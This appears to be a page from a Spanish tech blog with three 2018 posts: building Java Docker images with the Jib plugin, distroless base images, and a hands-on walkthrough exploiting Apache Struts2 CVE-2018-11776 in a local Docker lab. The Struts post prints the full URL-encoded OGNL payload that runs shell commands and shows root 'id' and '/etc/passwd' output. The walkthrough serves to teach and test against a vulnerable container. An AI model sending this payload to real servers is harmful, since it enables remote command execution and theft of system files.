Creando imágenes Docker para aplicaciones Java, sin Docker
- August 27, 2018
- tuxotron
De la misma forma que un contenedor Docker no es más que un proceso Linux, una imagen Docker no es más que la suma de sus capas, dónde cada capa es un archivo tar.
Dicho esto, por lo tanto crear una imagen Docker no es tan complejo como puede parecer, de hecho, no sólo no necesitas escribir tu fichero Dockerfile, sino que ni si quiera necesitas tener Docker instalado.
Jib es una herramienta, que actualmente, viene en forma de plugin para Gradle y Maven. Esta está enfocada a la creación de imágenes Docker para aplicaciones Java, optimizando el tiempo de creación de la misma y su contexto. Jib no sólo genera la imagen, sino que también la sube a un registro Docker (el cual puedes especificar).
Jib, por defecto, usa la imagen base sin distribucion (distroless) de Java, una de las que ya hablamos anteriormente, aunque esto es configurable y podemos especificar la imagen base qu queramos. Esto implica que el tamaño de la imagen es mínimo. Además, la capa de la aplicación la divide en 3 capas distintas: dependencias, recursos y clases. Prácticamente, Jib crea una imagen similar a la que crearía un fichero Dockerfile con el siguiente contenido:
FROM gcr.io/distroless/java
COPY target/dependencies /app/dependencies
COPY target/resources /app/resources
COPY target/classes /app/classes
ENTRYPOINT java -cp /app/dependencies/*:/app/resources:/app/classes my.app.Main
Como puedes ver, se crean 3 capas, en el orden de cambios con menor probabilidad para acelerar la creación de las imágenes. Si no conoces como funciona esto de las capas en Docker, la caché y buenas prácticas, te recomiendo encarecidamente este recurso :) shameful plug, I know!
Otra cosa de la Jib nos ayuda, es en minimizar el contexto de la aplicación, de forma que tambien nos ahorra escribir nuestro propio fichero .dockerignore. Si no sabes que es esto del contexto, te hago referencia al recurso enlazado anteriormente ;)
Después de haberte vendido la moto, veamos algún ejemplo. Para ello necesitas una aplicación Java (puedes jugar con esta, la cual ya tiene el plugin añadido), con Maven o Gradle. En nuestro caso usaremos Maven. Todo lo que tienes que hacer as anadir el plugin Jib a tu pom.xml:
<project>
...
<build>
<plugins>
...
<plugin>
<groupId>com.google.cloud.tools</groupId>
<artifactId>jib-maven-plugin</artifactId>
<version>0.9.9</version>
<configuration>
<to>
<image>registry.hub.docker.com/my-docker-id/my-app</image>
</to>
</configuration>
</plugin>
...
</plugins>
</build>
...
</project>
Con esto le decimos a Jib que nos genere una imagen llamada my-app y la suba al registro the Docker Hub bajo la cuenta my-docker-id.
Tambien tenemos la opción de usar Google Container Registry (GCR):
<image>gcr.io/my-gcp-project/my-app</image>
Amazon Elastic Container Registry (ECR):
<image>aws_account_id.dkr.ecr.region.amazonaws.com/my-app</image>
O nuestro propio registro:
<image>localhost:5000/my-image:tag</image>
Las credenciales de autentificación, como el nombre de la imagen, o el resto de parámetros, las podemos especificar de varias maneras:
En el propio pom.xml:
<to>
<image>gcr.io/my-gcp-project/my-app</image>
<auth>
<username>username</username>
<password>pasword</password>
</auth>
</to>
Con variables de entorno:
<to>
<image>gcr.io/my-gcp-project/my-app</image>
<auth>
<username>${env.REGISTRY_USERNAME}</username>
<password>${env.REGISTRY_PASSWORD}</password>
</auth>
</to>
O a través de la línea de comandos:
mvn compile jib:build -Djib.to.auth.username=user -Djib.to.auth.password=pass
Como decía antes, por defecto Jib usa la image base distroless de Java, pero podemos usar otra imagen distinta:
<configuration>
<from>
<image>openjdk:alpine</image>
</from>
...
</configuration>
Y si nuestro registro necesita autentificación:
<configuration>
...
<from>
<image>aws_account_id.dkr.ecr.region.amazonaws.com/my-base-image</image>
<auth>
<username>my_username</username>
<password>my_password</password>
</auth>
</from>
...
</configuration>
Una vez tenemos configurado nuestro fichero pom.xml, podemos generar y subir nuestra imagen con el siguiente comando:
mvn compile jib:dockerBuild
Tan simple como eso. No tienes que crear ficheros Dockerfile, .dockerignore, ejecutar docker build y docker push. En esta image puedes ver la diferencia entre el proceso de publicación de una imagen usando Docker vs Jib:
El plugin también nos ofrece otras posibilidades, como la creación de la imagen en un archivo tar:
mvn compile jib:buildTar
El cual luego podriamos importar a Docker:
docker load --input target/jib-image.tar
Y si aún prefieres usar Docker para crear tu image, Jib también te permite crear el contexto Docker para tu aplicación:
mvn compile jib:exportDockerContext
Esto te generaría el directorio target/jib-docker-context con el fichero Dockerfile y el contenido que tu imagen necesita.
Echa un vistazo a las páginas enlazadas si quieres ver el resto de funcionalidades que ofrece esta herramienta.
Os dejo también una presentación sobre Jib:
Aún hay cosas que le faltan como el manejo de volúmenes, etc, pero es una herramienta que está en desarrollo activo y veremos mejoras constantemente.
Esta es una herramienta perfecta para el desarrollador que no quiere tener que preocuparse de saber como funciona Docker y sólo se quiere enfocar en escribir codigo.
Explotando Struts2, CVE-2018-11776
- August 25, 2018
- tuxotron
Hace poco se hizo pública otra vulnerabilidad en Apache Struts2, un popular framework para aplicaciones web en Java. Dicha vulnerabilidad, CVE-2018-11776, permite a un atacante la ejecución remota de comandos. La versiones afectadas son Apache Struts 2.3 a 2.3.34 y 2.5 a 2.5.16.
Para poder aprovechar dicha vulnerabilidad, una acción (struts action) se debe definir sin namespace o usar algún carácter comodín, como por ejemplo /*. En estos casos, Struts usa OGNL (un lenguaje de expresiones de código abierto para Java) para determinar la acción a ejecutar basada en el namespace dado por el usuario, permitiendo así la posible ejecución de código remoto.
Existen pruebas de concepto pública para la explotación de esta vulnerabilidad, como por ejemplo en este repositorio. En el mismo, existen un par de scripts en Python, uno para comprobar si una aplicación web es vulnerable y el otro acepta comandos como parámetros que son ejecutados en el servidor donde corre nuestra aplicación. En dicho repositorio, hay algunas instrucciones para levantar un contenedor Docker con una aplicación usando Apache Struts2, más una serie de cambios en la confiración. Yo he creado un contenedor que ya contiene dichos cambios de configuración.
Si deseas probar por ti mismo como explotar esta vulnerabilidad, sólo tienes que ejecutar el siguiente comando (asumiendo que tienes Docker instalado):
docker container run -it --rm -p 8080:8080 tuxotron/cve-2018-11776
Si todo ha ido bien, desde el navegador puedes ir a http://localhost:8080/ y deberías ver algo así:
Para comprobar si la aplicación es vulnerable, desde el navegador, si vas a: http://localhost:8080/${2+2}/help.action, deberías ser redirigido a http://localhost:8080/4/date.action, esto implica que la expresión ${2+2} ha sido evaluada y por lo tanto podríamos explotar nuestra aplicacaión.
Si ejecutas el script de testeo del repositorio arriba mencionado, verás algo como esto:
./exploitS2-057-test.py http://0.0.0.0:8080/showcase.action
testing the url for exploit; http://0.0.0.0:8080/${90905+78732}/help.action
URL http://0.0.0.0:8080/showcase.action s2-057 CVE-2018-11776 is vulnerable!
Esto nos indica que la aplicación es vulnerable. Ahora si queremos ejecutar algún comando, por ejemplo id:
/exploitS2-057-cmd.py 0.0.0.0:8080 'id'
[Execute]: id
[Url]: http://0.0.0.0:8080/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
O podrías listar el fichero /etc/passwd:
./exploitS2-057-cmd.py 0.0.0.0:8080 'cat /etc/passwd'
[Execute]: cat /etc/passwd
[Url]: http://0.0.0.0:8080/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
...
En el repositorio mencionado hay algún ejemplo más, como el ejecutar una shell inversa, etc.
Have fun! Y parchea si usas Struts2!
Imágenes Docker Sin Sistema
- August 20, 2018
- tuxotron
- Java
- Python 2.7 / 3
- Go
- Node.js
- .Net
Una de las buenas prácticas a la hora de crear imágenes en Docker es hacer que estas sean lo más pequeñsa, en tamaño, posible.
Por popularidad, Alpine es la distribuciión Linux preferida a la hora de crear imágenes de tamaño reducido (poco menos de 5MB), a menos que, por requerimientos de certificacion o algún otro motivo, sea necesario usar alguna distribución certificada en particular, algo común en el entorno empresarial y gubernamental.
El proyecto Google Container Tools aloja una serie de imágenes Docker orientadas a ciertos lenguajes de programación sin sistema, es decir, no tienen ninguna distribución dentro, todo lo que contienen las imágenes son los ficheros necesarios (intérpretes) para ejecutar dicha aplicación, no contiene ni siquiera una shell. Los lenguajes de programación para los que dispones de dichas imágenes son:
Para ver alguna de las diferencias entre estas imágenes y las oficiales de cada plataforma basdas en Alpine, podemos ejecutar los siguientes commandos:
Imagen con Python 3:
docker pull gcr.io/distroless/python3
...
docker pull python:alpine
...
docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
python alpine a5f497d596f5 2 weeks ago 79.4MB
gcr.io/distroless/python3 latest 22491e3c6cda 48 years ago 50.4MB
Casi 30 MB de diferencia.
En cuanto a Java:
docker pull gcr.io/distroless/java
...
docker pull java:alpine
...
docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
java alpine 3fd9dd82815c 17 months ago 145MB
gcr.io/distroless/java latest d53055d7a4da 48 years ago 118MB
Unos 27MB de diferencia.
Como se puede ver la diferencia no es enorme, pero sí considerable. Esto no sólo nos ahorra espacio en disco y tráfico de red, sino que también mejora la seguridad. El hecho de no tener librerías o servicios que no necesitemos, reducimos riesgos de seguridad y alertas innecesarias de escaneadores de imágenes por versiones obsoletas o vulnerables.
Las imágenes disponibles actualmente son:
- gcr.io/distroless/python2.7
- gcr.io/distroless/python3
- gcr.io/distroless/nodejs
- gcr.io/distroless/java
- gcr.io/distroless/java/jetty
- gcr.io/distroless/cc (contiene una versión mínima de glibc para lenguajes estáticamente compilados como D o Rust)
- gcr.io/distroless/dotnet
El hecho que de estas imágenes no contengan una shell no es de gran importancia, a menos que por algún motivo necesitemos saltar dentro del contenedor para depurar o inspeccionar alguna cosa. Para ello, existen las mismas imágenes con la etiqueta debug, la cual incluye busybox. Evidentemente será un poco más grande.
Por ejemplo, si necesitamos depurar un contenedor basado en una aplicación en Java, podemos usar la imagen gcr.io/distroless/java:debug, y una tengamos el contenedor creado, podríamos saltar dentro sobre escribiendo el punto de entrada. Veamos un ejemplo:
docker run -it --rm --entrypoint sh gcr.io/distroless/java:debug
...
/ # ls
busybox dev etc home lib lib64 proc sys tmp usr var
/ #
Para terminar un último apunte, como hemos dicho las imágenes, por defecto, no contienen una shell por lo que CMD o ENTRYPOINT deben ser expresados en modo vector: ENTRYPOINT [‘myapp’].
Para saber más sobre las distintas formas de expresar los comandos que definen una imagen como ENTRYPOINT, CMD, etc, o sobre Docker en general, este recurso es genial! :)
Buscar
Entradas Recientes
- Posts
- Reemplazando la bateria del AirTag
- OpenExpo Europe décima edición, 18 de mayo: El Epicentro de la Innovación y la Transformación Digital
- Docker Init
- Kubernetes para profesionales
- Agenda: OpenExpo Europe 2022 llega el 30 de junio en formato presencial
- Libro 'Manual de la Resilencia', de Alejandro Corletti, toda una referencia para la gestión de la seguridad en nuestros sistemas
- Mujeres hackers en ElevenPaths Radio
- Creando certificados X.509 caducados
- Generador de imágenes Docker para infosec